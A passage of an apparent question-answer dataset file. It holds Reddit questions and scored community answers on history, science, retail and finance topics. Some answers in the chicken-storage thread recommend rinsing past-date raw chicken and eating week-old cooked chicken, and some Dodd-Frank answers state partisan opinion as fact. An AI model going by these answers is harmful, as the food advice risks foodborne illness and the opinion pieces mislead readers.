"https://en.wikipedia.org/wiki/Mutation_rate"], []]}
{"q_id": "4lyvsd", "title": "how is gallium made if it is not naturally found on earth?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4lyvsd/eli5_how_is_gallium_made_if_it_is_not_naturally/", "answers": {"a_id": ["d3r7rc8", "d3r7t5z", "d3r7t75"], "score": [22, 5, 5], "text": ["Gallium is naturally found on earth.\n\nIt just isn't found in a purely elemental form, but instead only in compounds.\n\nImagine if chlorine was never found as chlorine alone, but only as salt (sodium chloride). You could then make chlorine by extracting it from salt but it wouldn't occur in nature in its elemental form.", "*Pure* gallium does not appear in nature because it reacts with other things to become various compounds. We make pure gallium by breaking up those compounds through various chemical reactions and scooping out the gallium.", "It is found naturally on earth but as part of molecules and compounds in small amounts, not in its pure form like gold is. I don't know the exact process but there will be a refining process involving heat and chemical treatments that liberate the pure metal from the ore. I think that's the question you were asking? "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "2ex47u", "title": "What made Hugh Capet, founder of the Capetian Dynasty, so successful?", "selftext": "Hugh Capet was a nobleman who was elected the first King of the Franks (Rex Francorum) after the Carolingian Dynasty. His line continued to rule the area that would become France for the next 400 years, and the cadet branches of his house, Valois and Bourbon, ruled France until the revolution. \n\nWhat made him so unique, and his legacy so enduring? \n", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/2ex47u/what_made_hugh_capet_founder_of_the_capetian/", "answers": {"a_id": ["ck4c2ti"], "score": [12], "text": ["Hugh Capet wasn't that successful in his lifetime, but to no fault of his own. His room to maneuver was extremely limited by his personal lack of power and his unruly vassals.  There are a few reasons he is famous:\n\n1. As count of Paris, the royal demesne [royal lands] became centered around Paris during his lifetime. This area, known as the Ille-de-France, remained the center of French royal power during the rest of the medieval ages and it later became the capital, the cultural center, and the economic center of the country. The Kingdom of France was initially very weak [some of the later Carolingian kings of \"France\" had a royal demesne limited to a single castle] and even more decentralized than the Holy Roman Empire, so Hugh Capet is important in that he gave his successors a firm base to work and expand from.\n\n2. He was the first king in a long line of very successful monarchs that eventually came to be the most powerful rulers in Europe. The fact that he was the first of the Capetian kings makes him notable. France initially was basically an elective monarchy, and the Capetians were able to make it primogeniture [oldest son inherits].\n\nIn short, Hugh Capet is famous not for his accomplishments but for the accomplishments of his successors. The Capetians were able to turn a very decentralized monarchy [even by the standards of the time, the French kings had very little power] into arguably the most centralized monarchy in Europe by the Renaissance period.\n\n\n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "6bafqm", "title": "why are orange and purple as clothing colors not popular, but blue and green are?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/6bafqm/eli5_why_are_orange_and_purple_as_clothing_colors/", "answers": {"a_id": ["dhlqlti"], "score": [2], "text": ["Personally I don't like loud colors but it may be because orange isn't a flattering color to most complexions. I'd say that purple is a bit more popular than, say, beige or gray. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "8qsza9", "title": "In the English Peerage, did the \"Duke of York,\" \"Duke of Cambridge\" etc. ever require the holder to actually be present in the city/territory that they were Duke of or were these titles simply a status symbol?", "selftext": "I have been studying peerage and trying to understand it (as an american) and this is one thing I am getting stuck on. I *think* that the titles are just symbolic but shows like Game of Thrones have me confused because the \"Lord of Winterfell\" and \"Warden of the North\" requires them to be present in that territory to rule. \n\nCan anyone clear this up for me? ", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/8qsza9/in_the_english_peerage_did_the_duke_of_york_duke/", "answers": {"a_id": ["e0m94zf"], "score": [91], "text": ["The terms duke and count come from Latin, and originate as military titles (dux and comes, respectively).  I know a lot more about the evolutional of ducal titles so I'll focus on that, but from the medieval period on they are functionally the same, just on a different scale.  In the late Imperial period, the title of dux was linked with a province, and signified the highest military authority in the province, eventually being able to act independently even of the governor of their province.  With the Germanic migrations and the erosion of the Roman empire, the Roman provinces at first largely retained their borders, and the titles continued to be used; Henri Pirenne, in Mohammed and Charlemagne, argues that the Germanic rulers saw themselves as a continuation, rather than replacement, of the Roman empire, even after their practical and official fealty to Rome ended.  The duces of Germanic western Europe were also landowners, and this, in combination with the military power they held by virtue of their title, meant that they soon became the de facto and then de jure authority over the land their title corresponded to.\n\nIn the early medieval period, the majority of nobles in Europe lived in the territories they held.  Over the next thousand or so years, the consolidation of titles by noble families, through marriage, bequethment by sovereigns, and military conquest, meant that one person could hold a collection of titles to lands theoretically all over Europe.  This caused a number of problems, a notable example being the Norman kings of England, who, having first held, and continuing to do so after the conquest, the title of Duke of Normandy, were legally vassals of the French king, a situation that lead to centuries of political and often military conflict.  Another result was that these nobles had to either choose one of their domains to rule from, or travel constantly between all their holdings.  In situations where this was not tenable in the longer term, many nobles would divide their distant holdings among a collection of heirs in their will, or bequeath some of their holdings to vassals to rule in their name during their own lifetime, so that they could be ruled by a lord residing locally, a situation that was noted later by Machiavelli in the Prince to contribute greatly to stability, and be much more likely to result in the continuation of control over that domain.  Another solution was to grant a family member the authority to rule a fief in the lord's name without transferring the title; this could be dangerous, as an ambitious and unscrupulous person could attempt to usurp that domain for themselves, or at least use their authority to enrich themselves while withholding the fruits of the fief from its titular lord.\n\nAs the Germanic kingdoms of Western Europe evolved, the kings, originally elected by the dukes from among their number, became hereditary.  At the same time, the system of feudalism was evolving into what we think of today when we hear the term.  A noble ruled a portion of a kingdom in the king's name, earning for themselves the bulk of the profits those lands produced, and in return, owed military service in the form of a certain number of soldiers for a certain period of time per year.\n\nHigher titles (duke was usually the highest title under the monarch, with count below that, and baron below that) usually came with larger fiefs, which were often divided into smaller domains; so, for instance, a duchy might be divided into a small collection of counties and baronies, with some of those counties possibly being partially made up of baronies themselves, and only a part of the land being directly under administration by the duke himself.  The less of their land the duke was directly responsible for, the easier it was to hold that domain in absentia, as subordinate lords who were present themselves could maintain stability within their own fiefs, and if they owed military service to their lord as part of their vassalage, be called upon to suppress any uprisings in the higher lord's own direct holdings.\n\nEven in the late medieval and into the early modern period, many lords resided in their holdings; the Sforza Dukes of Milan are examples.  In England though, most titles have become largely symbolic; the Prince of Wales, for instance, has been since the 13th century the title held by the English heir apparent.  As titles have lost their civic roles, the importance of residing in the associated fiefdom has completely disappeared.\n\nPlease forgive any spelling errors; I wrote this on a smartphone touchscreen.\n\nEdit: I always wondered back when I read those books, with all the intermarriages and houses being wiped out, how every lord held exactly one land-bearing title and no family had more than one branch.\n\nEdit 2: if I recall correctly, 'earl' is the English equivalent of continental 'count'.  Earl comes from Nordic jarl, a title used in Scandinavia, and by extension, in Britain during the Danelaw and the Viking domains in England, Scotland, and Ireland.  Perhaps someone else can elaborate on how earl came to be a subordinate title to duke, a title which gained its Germanic feudal connotations in Britain under the Normans."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "3rwm8x", "title": "the whole defcon system. how many steps are there and their meaning. along with what action is taken at each.", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3rwm8x/eli5_the_whole_defcon_system_how_many_steps_are/", "answers": {"a_id": ["cwrxl0a"], "score": [69], "text": ["Here are the 5 DEFCON levels, followed by their historical precedent\n\n* [5]\t**Normal peacetime readiness**;\tGeneral \"baseline\" level during times of peace\n\n* [4]\t**Increased intelligence-gathering and security measures**\tSporadically throughout Cold War, War on Terror\n\n* [3]\t**Armed forces readiness increased above normal levels; Air Force ready to mobilize in 15 minutes**\tPost-9/11 Attacks (2001), Yom Kippur War (1973), Operation Paul Bunyan (1976), Post-Four Power Talks (1960)\n\n* [2]\t**High readiness; armed forces ready to deploy in six hours**\tCuban Missile Crisis (1962)\n\n* [1]\t**Maximum readiness; all forces ready for combat**; nuclear war imminent or likely\t -No historical precedent\n\nEdit: Formatting\n\nSource: _URL_0_ \n\nNote: Different branches can be issued different DEFCON levels, and as the numbers get lower the situation gets more serious. A DEFCON 1 would certainly apply in an apocalypse situation."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.wikihow.com/Understand-the-Defcon-Scale"]]}
{"q_id": "4enm8t", "title": "What do we know about \"freak\" athletes in the middle ages?", "selftext": "What do we know about renowned athletes in the middle ages?\n\nFor instance, Lebron James is considered a \"freak\" athlete because he's 6'8\", 260 pounds, and can run faster and jump higher than almost anyone else who steps foot on the court, not even to mention his mental strength.\n\nAre there accounts of similarly gifted athletes in the middle ages, and if so, what sport(s) did they play?\n\nThanks!", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/4enm8t/what_do_we_know_about_freak_athletes_in_the/", "answers": {"a_id": ["d22cbbv"], "score": [5], "text": ["Ok, this is not the correct time period to answer your question, but is a relevant \"sports\" description I can think of immediately in ancient literature.  When Achilles' best friend, Patroclus, dies during the siege of Troy, Achilles holds funeral games -- chariot race, boxing , wrestling, a running race, weight throwing, etc.  (Iliad, book XXIII).  Evidently, Agamemnon was such a good athlete at the javelin that he was awarded first prize without even throwing:\n\n\"Achilles then sets up more prizes for spear throwing. Agamemnon and Meriones stand, but Achilles tells Agamemnon to sit down because there would be no contest since no one is better than he is. He can just take the first prize. Agamemnon gives the prize to his herald.\""]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "2qxsnu", "title": "why do clothes sizes go up in evens? (6, 8,10 etc)", "selftext": "Always bugged me.", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2qxsnu/eli5_why_do_clothes_sizes_go_up_in_evens_6_810_etc/", "answers": {"a_id": ["cnai23c"], "score": [2], "text": ["Well, I think that's the majority. A lot of clothing brands only go up in odd sizes (1, 3, 5).\n\nI honestly don't know the exact reason why, but I think that it's bullshit that they use numbers like those rather than actual measurements. Like, every girl will tell you that you can find multiple pairs of jeans in the same size from different stores and they will NOT fit the same.\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "9rsq3n", "title": "in the American \"Wild West\" how expensive and scarce is the ammunition there, also could an average person afford enough bullets just for the purpose of practicing how to shoot?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/9rsq3n/in_the_american_wild_west_how_expensive_and/", "answers": {"a_id": ["e8jq8th", "e8jv476"], "score": [759, 261], "text": ["Follow-up: I believe in the days of muskets it wasn't uncommon to pour/cast your own ammunition out of lead (I've seen tools specifically for this purpose in a lot of museums). With the advent of rifling around the time of the Wild West, was this no longer an option and did it affect the cost of owning and operating a firearm significantly, or did advances in production offset these costs?", "Another follow up question(s). My grandfather was a gun smith and he always recycled his shells to remake his own bullets. Was it normal for people back then to do the same with something similar to the kits and presses you can buy today? If so, was it cost effective?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "1rae6m", "title": "If skin is a living organ, why does it remain loose after someone drops a lot of weight?", "selftext": "Shouldn't it eventually shrink back down to the new size of the person?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1rae6m/if_skin_is_a_living_organ_why_does_it_remain/", "answers": {"a_id": ["cdl9art"], "score": [13], "text": ["Let's first take a look at what the definition of an organ is. \"An organ can be defined as is a collection of tissues joined in a structural unit to serve a common function.\" The skin serves to protect our body from bacteria and infection. Now let's take a look at the individual layers of the skin. There is the stratum corneum. This layer is the outer \"dead\" layer of skin. This can be thinned or shed naturally or by scrubbing your skin. Then there is the epidermis (outer layer), dermis (middle layer), and hypodermis (deep, inner layer that lays next to the muscle tissue). The epidermis contains 4 different layers and contains many immune cells to protect from the outside, melanin for skin color, but mainly to protect from the harsh environment and exposures. The dermis layer is the layer that contains collagen and elastin. These proteins are responsible for the support and elasticity that we see with our skin. When someone gains a large amount of weight, the fat stretches the skin, but the amount of elastin stays the same. The fat / elastin combination allows the skin to stay \"normal.\" When someone loses a large amount of weight, there isn't enough elastin to support the amount of skin that has been produced due to the fat stretching it out. The skin isn't good at producing elastin, neither is the body. Hence all the skin products that claim \"elastin\" will help restore the natural beauty of your skin. Elastin is a large protein which has difficulty penetrating the skin and being absorbed. \n\nTL;DR: elastin is a protein responsible for stretching of the skin. Our body sucks at making more. You stretch your skin when you get fat, you lose weight and there isn't enough elastin to allow it be tight and form to your body."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "72whss", "title": "What distinguishes mammalian cells from bird, reptile, fish etc cells?", "selftext": "I read a lot about things tailored to mammalian cells in the literature, presumably because you can use them to test things meant for humans and not for E. coli. But how different are mammalian cells from other classes of animals, at the cellular level? Are the cytoskeleton components and whatnot different?", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/72whss/what_distinguishes_mammalian_cells_from_bird/", "answers": {"a_id": ["dnm4mv0"], "score": [8], "text": ["The comparison you ask for is a difficult one because it does not reflect how we classify a mammal, fish reptile or bird.\n\nMostly - there are more similarities than differences because cells and cell structures   developed in our common ancestors. \n\nAll are multicellular vertebrates - so all descend from a common ancestor that already had many of these cellular structures in place.\n\nNow if you look at it using the modern system of classification (cladistics) which includes a rule that you cannot outgrow your clade - you are at the same time a \"fish\" a \"reptile\" and a mammal.\n\nJust as birds are still dinosaurs."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "fnq1fg", "title": "Why was the term \"yeet\" so popular during the 1650s?", "selftext": "When using Google Books Ngram Viewer, I've discovered that the term \"yeet\" was utilized a thousand more times during 1650-1660 than of today.  [_URL_0_](_URL_0_) . How could this be? Did the term \"yeet\" have any historical meaning or context? Did it symbolize something significant of that time? What makes the term \"yeet\" so popular during that time?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/fnq1fg/why_was_the_term_yeet_so_popular_during_the_1650s/", "answers": {"a_id": ["flax89s"], "score": [85], "text": ["You may be interested in [this old response](_URL_0_) by /u/caffarelli about the vagaries of Ngrams, as well as [this one about the word \"bruh\"](_URL_1_) by /u/restricteddata .\n\nIf you look at the specific uses Google is finding in the late seventeenth century, you can see that most uses are alternate spellings for \"year\" or \"ye\", in which Google's OCR is reading \"r\" as \"t\"."]}, "title_urls": [], "selftext_urls": ["https://imgur.com/a/KYMouzr"], "answers_urls": [["https://www.reddit.com/r/AskHistorians/comments/2x8i5l/can_you_explain_these_google_ngram_peaks_in_a_few/", "https://www.reddit.com/r/AskHistorians/comments/bwojm3/why_is_there_a_sudden_spike_in_the_use_of_bruh_in/"]]}
{"q_id": "cged4t", "title": "how can aldi offer something for less?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/cged4t/eli5_how_can_aldi_offer_something_for_less/", "answers": {"a_id": ["eughvx9", "eugj2rw", "euglemk", "eugoigi", "eugpbed", "eugqt13", "eugrkki"], "score": [18, 5, 6, 3, 2, 2, 2], "text": ["Lower profit margins, lower overhead. The whole Aldi operation is meant to minimize cost. From the LED lighting in the coolers, low staff sizes, carts you need a coin to unlock, it's all designed to save the company money. The less they spend the less cost they have to cover meaning their products can be sold for less and still make money.", "Besides finding all sorts of little ways to trim costs (that add up over many stores and hundreds of customers) you will probably also run into \"loss leaders\".\n\nThese are products that they sell at a loss, but are used to get you in the door where you will but other items that aren't discounted.  Items often given this treatment are baby products (moms always need other stuff) and generic prescriptions (they make no money on the drugs, but you shop while you wait)\n\nIt also helps promote the idea of value, that you attribute top the entire store instead of just one item.\n\nThis is something that Walmart is really good at.  They routinely price items people are familiar with at very low prices, like bread, milk, paper towels.  The rest of the items are normal priced, but because of this you believe Walmart usually offers better value.", "They developed a logistics system that is rock solid. Everything stays in boxes on the shelves and every store is laid out the same way.... so, the trucks are packed in such a way that corresponds to the floor plan and the result is super quick stocking. It helps that their stock list of products is tiny compared to other chains.  \nAlso, they don\u2019t have checkout staff and isle staff they just have checkout staff that are the isle staff as well.\nThey have hundreds of these little hacks.\n\nHave you ever noticed Aldi is kind of poorly lit up? Or they never have radios playing? Cost saving.\n\nThe founders are the Albrecht brothers and are in the Forbes rich list due to this very business model", "Additional things that Aldi does to save us all $$$ ...\n\nThey only stock 1,000 unique items at a time in a store, reducing dead inventory and slow movers. \n\nHave you ever seen a cashier in ANY other store scan as fast? Look at your Aldi merchandise, there are bar codes on all sides, sometimes huge. \n\nItems, particularly big/heavy/odd shaped ones, also have a short 4-5 digit item number printed all over the box, for when the scanner won't work.\n\nThey make all cardboard boxes available as you bag your own purchases. Look at the number of customers who bring their own bags.\n\nAll in all, they are probably the most efficient store I have ever seen.", "In addition to what's already been said: the basic layout of an Aldi, only having 1-2 brands of things out, etc., has one big side effect that Aldi supermarkets fit in a much smaller space, which means that they pay much less on rent for their buildings.", "Among the other points listed aldi also saves money on how and when they order trucks buy purchasing six months out and or more than they need the manufacture gives the warehouse discount.", "While others have already said similar things, this video does a great job of explaining Aldi's low cost capabilities: [_URL_0_](_URL_0_)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], ["https://www.youtube.com/watch?v=AaktzUQsIkE"]]}
{"q_id": "d8ftn8", "title": "how are the lights on a ferris wheel powered without the wires twisted?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/d8ftn8/eli5_how_are_the_lights_on_a_ferris_wheel_powered/", "answers": {"a_id": ["f1a87o8", "f1a898e", "f1aye5x"], "score": [62, 10, 2], "text": ["They use a [slip ring connector](_URL_0_) or similar rotating electrical connection to feed power form the stationary generator to the rotating wheel's electrical circuits.", "Imagine a record player, but turned on it\u2019s side. The stylus arm has a carbon brush instead of a needle and the \u201crecord\u201d is the hub of the Ferris wheel. Electricity is transmitted down the arm (which is attached to one of the supporting legs) through the carbon brush to where it touches a thin metal strip on the hub. That strip of metal is insulated to prevent electricity from charging the entire structure, and has the wiring for the lighting attached to it. \n\nIt\u2019s an easy way to transfer electricity from stationary to rotating objects. The alternator in a car operates on much the same principle.", "And many large ones just use power rails with pickups.  No different than powered cars on a track, like you would find at any amusement park.  Monorails, non-engine-powered trains, people-movers, etc, also use this method. (I work with a company that sells these systems).  Sort of works like overhead lines on trolleys but smaller and in tracks to keep it out of reach.  Where normally the pickup is on the vehicle (grabbing power from stationary power rail), on Ferris wheel it is reversed.  Rail is round and fixed to wheel, and \u201cpickups\u201d riding in the rail are attached to frame and applying power to rail.  If you are ever in Vegas, you can see it all clearly on the \u201cHigh Roller\u201d."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://en.wikipedia.org/wiki/Slip_ring"], [], []]}
{"q_id": "66zv1a", "title": "why can you only keep chicken in a fridge for 1-2 days?", "selftext": "So I understand bacteria. It can't survive well at super cold or super hot. This makes sense. No problems here.\n\nI understand chicken just chilling in it's own juices in a fridge would attract a lot of bacteria. This makes sense.\n\nBut shouldn't all the bacteria burn off when you cook it? Especially if you cook it through fully? What is the line that happens between day 2 where you could still burn off the bacteria in the chicken and day 3 where suddenly nope you'd be food poisoned.\n", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/66zv1a/eli5_why_can_you_only_keep_chicken_in_a_fridge/", "answers": {"a_id": ["dgml28f", "dgmldyw", "dgmp1bw", "dgmq6wf", "dgmsjei", "dgn0gn0"], "score": [23, 4, 3, 2, 6, 3], "text": ["It's more than just the other two answers. Many bacteria produce substances that aren't very good for you. Some of these substances are toxins. If the chicken sits in the fridge for a long time, lots of these toxins are produced. Sure, the bacteria are killed when you cook the meat, but the high amount of toxins remains on the food even after that. ", "TL;DR version: Most of the bacteria die in very cold or very hot conditions. But some survive no matter what you do. \n\nWhen you put something in the fridge, you don't actually kill all of the bacteria. A lot of it lives and can still grow, but it multiplies a lot slower than when it's in a warmer environment. Likewise with the freezer. \n\nAlso, when you cook chicken, not all of the bacteria dies. Some is still there, just not enough to make you sick. \n\nThis is why they tell you to not put meat back in the freezer after you've defrosted it. You have to cook it right away because the bacteria has had a chance to warm up and multiply, and putting it back in there means that there's a better chance that the increase in bacteria will be enough to be dangerous, even after you cook it later. ", "Not that I want to promote leaving something in the fridge for an eternity.. but in all seriousness.. for chicken that has been around for a day or two longer than you think it should be.. rinse it off in the sink! Seriously.. give it a good rinse in a colander with cold water and work all the edges and folds etc. let it drip dry for a couple minutes and then you are good to go. \n\nI only do this with fresh unfrozen chicken.. I have never been sick in my life from food I made. \n\nAt the end of it all.. smell the food. If it smells off .. like.. really off, its no good. If it has a tiny odor and you rinse it, you will be fine.", "Even though cooking chicken to proper temp will kill bacteria, the longer bacteria stays on the chicken before cooking gives it more time to produce toxic chemicals which does not get destroyed by cooking.", "3-4 days isn't going to hurt you. The 1-2 is just the recommended amount of time set by the FDA. As long as it doesn't smell, look and/or feel funky you're good. ", "I don't think that's entirely true. I've cooked chicken and kept it in a box in the fridge for over a week, and it's been absolutely fine. \n\nA few things to remember though:\n\n- Give it a sniff, when in doubt\n- The fridge temperature has to be pretty cold\n- Keep the chicken in a closed box (tupperware does a good job of storing well)\n- Don't put it into the fridge when it's still hot\n- Once in the fridge, don't take it out, heat it up, and then put it back in. It will spoil faster if it keeps being re-heated and then cooled, and then re-heated again. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], []]}
{"q_id": "275s6h", "title": "Where did the practice of thanking people come from? Is there a rough equivalent to \"thank you\" and \"you're welcome\" in most languages or are there other practices? In periods with a more formalized class structure, would one in an elevated social class have thanked someone in a lower class?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/275s6h/where_did_the_practice_of_thanking_people_come/", "answers": {"a_id": ["chxx3rr"], "score": [10], "text": ["You're in the right place for the first and last question. The middle one might be best suited for /r/linguistics though!"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "b6pg83", "title": "How independent was the Hanseatic league from the HRE and other countries from which it had member cities", "selftext": "And is Hansa league also an acceptable name?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/b6pg83/how_independent_was_the_hanseatic_league_from_the/", "answers": {"a_id": ["ejn7nje"], "score": [3], "text": ["In short answer, recent researchers has increasing found difficulty in defining the 'Hanseatic League' (OK for its use, I suppose) as a unified polity except for the relatively short period in late 14th and early 15th century, the 'Golden Age' of the Hanseatic League. Some revisionist scholars even argue that there was no 'Hanseatic League' until the middle of the 14th century, in contrast to the classic image of the early pioneering commercial activity of the German merchants in the Baltic Sea in the late 12th and 13th century. \n\nPart of this trend came from the revaluation of the central organization of the League, Hanseatic Diet (*Hansetag*): This was assemblies of the towns' representatives that could issued a shared regulations on the member towns as well as even could sometimes take an unified action against the possible external threat like the king of Denmark (1360s and 1410s), but the definition of this kind of membership itself was rather very ill-defined. There seemed to be no obligation for a town to send the representative in the Diet, so it is not so always easy to calculate how many towns actually joined in the League in a certain time like ca. 1450. According to a revisionist view of point, the Diet, i.e. the basic organization of the 'Hanseatic League' was anything but loose aggregates of towns under the influence of some leading towns like L\u00fcbeck (until 15th century) and Hamburg (16th century onward), based on the shared interest at that time. \n\nIn other words, taking this 'institutional' principle of the Hanseatic League in consideration, OP's original question means that: 'How independent were this kind of leading towns like L\u00fcbeck or Hamburg from HRE or other neighboring powers?' From this point of view, the middle of the 13th century (or 1220s/ 1230s) might be a turning point of 'Hanseatic' history when some towns like L\u00fcbeck began to act as an somewhat independent polity and to conclude a treaty with other territorial princes in Low countries or in Germany, or rulers of European kingdoms. AFAIK few HRE ruler had any concrete policy in the Baltic Sea in the Middle Ages, so generally they acted on their own until ca. 1500, I suppose.  \n\nReferences:  \n\n* Harreld, Donald J. *A Companion to the Hanseatic League.* Leiden: Brill, 2015. \n* Nicholas, David. *The Northern Lands: Germanic Europe, c. 1270-c. 1500*. Oxford: Blackwell, 2009. \n* Seltzer, Stephan. *Die mittelalterliche Hanse.* Darmstadt: WBG, 2010. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "43smv7", "title": "what is the 'flower of life'?", "selftext": "What is the significance of its geometry in science, history, art, spirituality, etc?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/43smv7/eli5_what_is_the_flower_of_life/", "answers": {"a_id": ["czkuhcr", "czl22u8"], "score": [2, 3], "text": ["Do you have a context in which this phrase was used?", "I've only heard it used by Spirit Science and he just spews a bunch of junk. It's just a pattern created by drawing a bunch of circles in a certain way. In terms of science at least, it holds no significance."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "9x8qt6", "title": "Was Martin Luther King Jr. a fan of Star Trek?", "selftext": "If he was, how much did he watch? I know he couldn't have seen all 3 seasons, but I want to know what he thought about it.", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/9x8qt6/was_martin_luther_king_jr_a_fan_of_star_trek/", "answers": {"a_id": ["e9qob4j"], "score": [104], "text": ["Although this is not usually my field of expertise, Nichelle Nichols (who played Lieutenant Uhura) did have an encounter with Martin Luther King Jr whilst she was filming the series. This is her account of the meeting from an interview:\n\n & #x200B;\n\nMs. NICHOLS: I went in to tell Gene Roddenberry that I was leaving after the first season, and he was very upset about it. And he said, take the weekend and think about what I am trying to achieve here in this show. You're an integral part and very important to it. And so I said, yes, I would. And that - on Saturday night, I went to an NAACP fundraiser, I believe it was, in Beverly Hills. And one of the promoters came over to me and said, Ms. Nichols, there's someone who would like to meet you. He says he is your greatest fan.\n\nAnd I'm thinking a Trekker, you know. And I turn, and before I could get up, I looked across the way and there was the face of Dr. Martin Luther King smiling at me and walking toward me. And he started laughing. By the time he reached me, he said, yes, Ms. Nichols, I am your greatest fan. I am that Trekkie.\n\n & #x200B;\n\nMs. NICHOLS: And I was speechless. He complimented me on the manner in which I'd created the character. I thanked him, and I think I said something like, Dr. King, I wish I could be out there marching with you. He said, no, no, no. No, you don't understand. We don't need you on the - to march. You are marching. You are reflecting what we are fighting for. So, I said to him, thank you so much. And I'm going to miss my co-stars.\n\nAnd his face got very, very serious. And he said, what are you talking about? And I said, well, I told Gene just yesterday that I'm going to leave the show after the first year because I've been offered - and he stopped me and said: You cannot do that. And I was stunned. He said, don't you understand what this man has achieved? For the first time, we are being seen the world over as we should be seen. He says, do you understand that this is the only show that my wife Coretta and I will allow our little children to stay up and watch. I was speechless.\n\n & #x200B;\n\nSo based on this it is quite clear Martin Luther King Jr was a big fan, and saw Lieutenant Uhura as having an important role. I believe that this quote in particular:\n\n & #x200B;\n\n'For the first time, we are being seen the world over as we should be seen.'\n\n & #x200B;\n\nIs quite important as Uhura was not in a subservient position on the crew. Yes, a white man was her commander, but this was in the context of a military rather than social hierarchy. She was an officer, and was an equal to other white lieutenants. Similarly, her rank clearly implied that she had authority over white people who were just ensigns or enlisted, as Starfleet followed a naval structure. Thus African-Americans were considered equal and capable partners in a human endeavor. This was only two years *after* the 1964 Civil Rights Act was introduced for the purposes of countering segregation.\n\n & #x200B;\n\nSources\n\n & #x200B;\n\nStar Treks Uhura Reflects on MLK Encounter: [_URL_1_](_URL_1_)\n\n & #x200B;\n\nThe Civil Rights Act of 1964: A Long Struggle for Freedom: [_URL_0_](_URL_0_)\n\n & #x200B;"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.loc.gov/exhibits/civil-rights-act/civil-rights-act-of-1964.html", "https://www.npr.org/2011/01/17/132942461/Star-Treks-Uhura-Reflects-On-MLK-Encounter"]]}
{"q_id": "5rvbtp", "title": "how does repealing dodd-frank help consumers", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/5rvbtp/eli5how_does_repealing_doddfrank_help_consumers/", "answers": {"a_id": ["ddagmx7", "ddahh43", "ddahlgt", "ddas0vf"], "score": [14, 5, 7, 3], "text": ["It doesn't. \n\nRepealing Dodd-Frank will simply allow banks to overleverage their assets and deal in unregulated products once more, which will destabilise and crash the economy, *once more*. It will allow people with a great deal of financial and political power to manipulate the markets to their advantage, allowing them to loot more capital no matter the cost to others, *once more*. \n\nWhich is what Steve Bannon and the GOP leadership have said they want, *in writing*.", "The argument for repeal is based on two basic pillars:\n\n1.) The system put in place to monitor the banks and ensure they don't collapse again actually makes them more central to the system, making future bailouts more likely and risky behavior less troubling to the bank.\n\n2.) The regulatory Powers under Dodds frank make it harder to give people loans and harder for finance companies and other companies to make money, as well as harder for people to get loans at certain credit levels, slowing economic growth.\n\nIf course, your mileage may vary, but that's the gist of the claim", "What caused the mortgage crisis?\n\nAt the most basis, systemic, simple, level it was the over-availability of credit to consumers.  American financial institutions found a way to make a huge amount of capital available to people wishing to purchase homes.\n\nThese regulations limit their ability to make these huge amounts of capital available.\n\nNow is this a good thing, or is it a bad thing?  That depends entirely on what use the money would be put to.  If its put to creative and useful purposes its a good thing.  If it inflates prices, causes a bubble, etc. its a bad thing.", "It doesn't. The average consumer won't benefit from this, but big banks and businesses will.\n\n(The idea is that deregulation will allow banks to lend more to businesses, who will then invest in new jobs and technologies, improving the economy overall for everyone. It never works out like that in real life though.)\n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
